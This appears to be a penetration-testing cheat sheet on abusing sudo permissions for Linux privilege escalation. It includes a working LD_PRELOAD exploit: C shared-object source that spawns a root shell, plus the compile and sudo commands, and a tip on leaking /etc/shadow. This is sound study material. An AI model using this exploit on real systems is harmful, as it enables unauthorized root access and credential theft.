Abusing Sudo Permissions
| Command | Description |
|---|---|
sudo -l | Check for privileged commands |
sudo -u user /bin/echo Hello World! | Run sudo as a different user |
About
- Some users may need to run root commands while retaining normal system privileges
- System administrators can grant
sudoprivilege to a user for a single application - That user can run the app as root without receiving full root access
sudo -lto check for available privileged commands- GTFOBins to research any findings
Leverage app functions
- Loading target files (
/etc/shadow) as config files may leak data such as lines from the target
Leverage LD_PRELOAD
- A function that allows any program to use shared libraries
- If the
env_keepoption is enabled, a shared library can be generated which will be loaded and executed before the program is run - The
LD_PRELOADoption will be ignored if the real user ID is different from the effective user ID. - The steps of this privilege escalation vector can be summarized as follows;
- Check for
LD_PRELOAD(with theenv_keepoption) - Write a simple C code compiled as a share object (.so extension) file
- Run the program with
sudorights and theLD_PRELOADoption pointing to our.sofile:
- Check for
# shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Remember!
gcc -fPIC -shared -o shell.so shell.c -nostartfilesto compile into a shared objectshell.sosudo LD_PRELOAD=/path/to/shell.so SUDO_APPto spawn a root shell abusing currentsudocontext of the user